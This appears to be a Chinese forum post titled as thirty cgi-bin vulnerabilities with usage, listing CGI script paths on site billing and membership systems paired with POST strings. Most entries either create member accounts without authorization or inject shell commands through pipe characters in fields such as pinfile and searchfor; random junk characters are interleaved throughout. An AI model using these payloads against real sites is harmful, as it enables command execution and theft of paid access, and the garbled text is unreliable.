Cgi-bin 30个漏洞＋使用方法

admin

==============================
) H! H4 k: y! P. h8 U
/smspass.pl
username=username&password=password
1 w+ N/ l5 T; v* M4 B
* J! h2 _8 [( T: S& t0 _/index.cgi
wei=ren&gen=command
! Y3 c; _2 ^9 }8 G7 j  b
% z+ u5 v  ], S0 z2 f8 J! g/passmaster.cgi
Action=Add&Username=Username&Password=Password

9 C# n4 L. o! e; V1 g: E. F% E/accountcreate.cgi
* y. k, ?: v3 r$ j. f: V+ p  lusername=username&password=password&ref1=|echo;ls|

1 p' T0 m& c, f) h' X/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|

$ P: ^: ^, f! _% A/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
" e) W. x% o/ M- Z) r9 |7 |user=username&pass=Password&confirm=Password

/ccbill-local.asp
post_values=username:password

/count.cgi
pinfile=|echo;ls -la;exit|
7 w9 @4 _) p5 w! T+ z, R; |
/recon.cgi
1 g! j- C& b9 C0 |7 n/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|

/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
_browser_out=|echo;ls -la;exit;|
$ I% Q, E3 C1 A, n
/modify.cgi
+ j# X0 Y9 `! c. jusername=username&password=password&expire=30
6 R: W8 e1 V/ g7 y! i1 e
. Q0 g; W: D5 a& L# f( g8 E/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|

0 h/ a8 D- s( [% Z( U: H' O3 q/gx9passwd.cgi
cmd=ADD&user=username&pass=password
/ q7 x0 _  M% F. i
2 j- O+ U) i$ J3 c6 W! t. @/ _/probecontrol.cgi
( [" |( @. N/ D) f/ u% Hcommand=enable&username=username&password=password

; V6 b% W  L9 Z! Z1 e/recon.cgi
, u! g. B5 ~4 |  f! O/ M% Esearchoption=3&searchfor=echo;ls -la;exit
; P8 S0 b2 U4 d3 ^" g; R
2 K# H2 ^! Q- r/htadd.pl
configfile=|echo; ls -alt; exit
1 y! e- p! v/ S! A7 T8 y* j
6 Q& t7 a' d! ~/gx9passwd.cgi
3 |9 {' Q7 d: H2 tcmd=ADD&user=username&pass=password
  s8 m, _7 I( J7 k- v
/ibill*.pl
& Y8 k! E3 f% j1 O* b- g& Ireqtype=add&authpwd=authpwd&username=username&password=password

0 d  E8 E% m& [; y1 r/cpay.cgi
command=add_member&username=username(EMAIL)&password=password(DES)
, H# ?; K; V# B8 `) w( _
/globill_ut.cgi
0 i& [5 _8 R+ w" w' K$ f# O' ndo=add&username=username&password=password&wpassword=password

: \: O) e" f+ o$ ^2 ?9 J! f/usercontrol.cgi
command=enable&username=USER&password=PASS
  j6 X, a" e4 V' A: C- C3 \
- d3 s1 Q) h- D3 ]- j9 d& f/globoSALErum.cgi
8 v: l0 R( j8 I$ [action=ADD&seccode=seccode&login=username&password=password

/addusr.pl
user=USER&pass=PASS&confirm=PASS

/pincount.cgi
" o  i  ^& e' a5 K) k2 b/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|

/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
( C) t0 V; @' a, l, B( Q. Iusername=username&password=password&password2=password&ref1=|echo;ls -al;exit
% F* v; C+ F5 c, W3 i: t9 `
/ B& n  f0 \  R7 B/ d) e/af.cgi
2 u4 ~+ P/ a3 ^% h/env.cgi
4 i% ]. O' E: UADD+;echo;pwd;exit

/count.cgi
pinfile=|echo;pwd;exit|
  c- ?, j. F5 \
* N/ L$ I' v3 F" ]. C& _/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|
' ~6 i$ L7 @" C& J( u, b
/add.cgi
username=username&password=password&expire=30
3 ]- |* ~# |+ k: \+ C5 {( _
==============================